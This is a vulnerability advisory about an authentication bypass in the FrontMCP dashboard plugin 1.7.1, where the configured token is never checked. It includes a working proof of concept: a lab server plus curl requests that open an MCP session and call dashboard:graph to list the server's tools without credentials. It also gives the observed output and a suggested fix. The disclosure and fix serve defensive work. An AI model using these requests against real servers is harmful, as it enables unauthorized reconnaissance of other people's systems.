Dashboard authentication token is not enforced, allowing unauthenticated access to server introspection
Description
@frontmcp/plugin-dashboard documents an auth.token option intended to restrict access to the FrontMCP dashboard.
However, the configured token is never validated.
The dashboard middleware serves the page without checking options.auth, while the dashboard MCP scope explicitly uses auth: { mode: 'public' }.
As a result, even when an operator enables dashboard authentication and configures a secret token, an unauthenticated caller can access the dashboard and invoke its introspection tools without supplying the token.
This was reproduced end to end against @frontmcp/plugin-dashboard@1.7.1 and @frontmcp/sdk@1.7.1.
Details
The authentication option is publicly exposed and documented:
export const dashboardAuthSchema = z.object({
enabled: z.boolean().default(false),
// Secret token for query param
// authentication (?token=xxx)
token: z.string().optional(),
});However, the dashboard middleware never validates it:
function createDashboardMiddleware(
options: DashboardPluginOptions
) {
const html =
generateDashboardHtml(options);
return async (
req,
res,
next
) => {
if (!isDashboardEnabled(options)) {
return next();
}
const urlPath =
req.path || req.url || '/';
const method =
(req.method || 'GET').toUpperCase();
if (
method === 'GET' &&
(urlPath === '/' || urlPath === '')
) {
res.status(200).send(html);
return;
}
return next();
};
}options.auth is available to this function but is never consulted.
The MCP scope behind the dashboard is also explicitly public:
plugins: [
DashboardHttpPlugin.init({})
],
tools: [
GraphTool,
ListToolsTool,
ListResourcesTool
],
auth: {
mode: 'public',
},
standalone: true,The introspection provider intentionally has access to the parent scope, allowing it to enumerate tools and resources belonging to other applications on the server.
The effective path is therefore:
unauthenticated client
-> GET /dashboard
-> no token validation
-> HTTP 200
unauthenticated client
-> MCP initialize /dashboard
-> public dashboard scope
-> dashboard:graph
-> complete server inventory returnedPoC
Install the affected packages:
npm install \
@frontmcp/sdk@1.7.1 \
@frontmcp/lazy-zod@1.7.1 \
@frontmcp/plugin-dashboard@1.7.1 \
--legacy-peer-deps
npm install -D tsxCreate server_dash.ts:
import {
App,
FrontMcp,
Tool,
ToolContext
} from '@frontmcp/sdk';
import DashboardPlugin, {
DashboardApp
} from '@frontmcp/plugin-dashboard';
import { z }
from '@frontmcp/lazy-zod';
@Tool({
name: 'read-secret',
description: 'sensitive',
inputSchema: {
name: z.string().default('World')
}
})
class ReadSecretTool
extends ToolContext {
async execute() {
return {
content: [{
type: 'text',
text: 'SENSITIVE-CANARY-8f2a'
}]
};
}
}
@App({
name: 'lab',
description: 'lab app',
tools: [ReadSecretTool]
})
class LabApp {}
@FrontMcp({
info: {
name: 'Lab Dash',
version: '0.1.0'
},
apps: [
LabApp,
DashboardApp
],
plugins: [
DashboardPlugin.init({
enabled: true,
auth: {
enabled: true,
token:
'SUPER-SECRET-DASH-TOKEN-9c4d'
}
})
],
http: {
port: 39300
}
})
export default class Server {}Start it:
npx tsx server_dash.tsAccess the supposedly protected dashboard without sending the configured token:
curl -i \
http://127.0.0.1:39300/dashboardAffected result:
HTTP/1.1 200 OKNow initialize the dashboard MCP scope, again without any token:
P=39300
curl -s \
-D /tmp/dash.txt \
-o /dev/null \
-X POST \
"http://127.0.0.1:$P/dashboard" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"unauthenticated","version":"1"}}}'
SID=$(grep -i '^mcp-session-id:' \
/tmp/dash.txt \
| sed 's/^[^:]*: *//' \
| tr -d '\r')Complete initialization:
curl -s \
-o /dev/null \
-X POST \
"http://127.0.0.1:$P/dashboard" \
-H "Mcp-Session-Id: $SID" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-d '{"jsonrpc":"2.0","method":"notifications/initialized"}'Invoke dashboard:graph:
curl -s \
-X POST \
"http://127.0.0.1:$P/dashboard" \
-H "Mcp-Session-Id: $SID" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"dashboard:graph","arguments":{}}}'Observed against the published 1.7.1 packages:
GET /dashboard -> HTTP 200
initialize -> HTTP 200
mcp-session-id: <session>
dashboard:graph ->
{
"nodes": [
{
"id": "server:Lab Dash",
"type": "server"
},
{
"id": "tool:lab:read-secret",
"type": "tool",
"data": {
"name": "lab:read-secret",
"description": "sensitive"
}
},
{
"id": "app:lab",
"type": "app"
}
]
}The caller supplied neither:
?token=SUPER-SECRET-DASH-TOKEN-9c4dnor any other authentication credential.
Supplying an intentionally incorrect token behaves identically because the token parameter is never evaluated.
Suggested fix
Enforce authentication before serving the dashboard and before exposing its MCP introspection tools.
At minimum, validate the configured token and fail closed when authentication is enabled:
function createDashboardMiddleware(
options: DashboardPluginOptions
) {
+ const expectedToken =
+ options.auth?.enabled
+ ? options.auth.token
+ : undefined;
return async (
req,
res,
next
) => {
if (!isDashboardEnabled(options)) {
return next();
}
+ if (options.auth?.enabled) {
+ const provided =
+ typeof req.query?.token === 'string'
+ ? req.query.token
+ : undefined;
+
+ if (
+ !expectedToken ||
+ provided !== expectedToken
+ ) {
+ res.status(401).send({
+ error: 'Unauthorized'
+ });
+ return;
+ }
+ }
+
...
};
}The operator's dashboard options must also be propagated instead of constructing the HTTP plugin with empty configuration:
- DashboardHttpPlugin.init({})
+ DashboardHttpPlugin.init(
+ resolveDashboardOptions()
+ )The dashboard MCP scope should not unconditionally override authentication with:
auth: {
mode: 'public'
}It should inherit the parent server's authentication policy or apply the dashboard-specific authentication before allowing dashboard:graph, dashboard:list-tools, and dashboard:list-resources.
The configured secret should also not be embedded directly into generated HTML or SSE query strings. Prefer the server's normal authentication mechanism rather than exposing a server-side secret to the browser.
Impact
An unauthenticated attacker who can reach the dashboard endpoint can access a dashboard that the operator explicitly configured as token-protected.
The attacker can also invoke the dashboard's introspection tools and obtain the complete server inventory, including registered apps, tools, resources, names, descriptions, schemas, and relationships belonging to other applications on the same FrontMCP server.
This information can expose internal API names, operational capabilities, resource identifiers, and other details useful for targeting additional server functionality.
The demonstrated impact is confidentiality. No integrity or availability impact is claimed.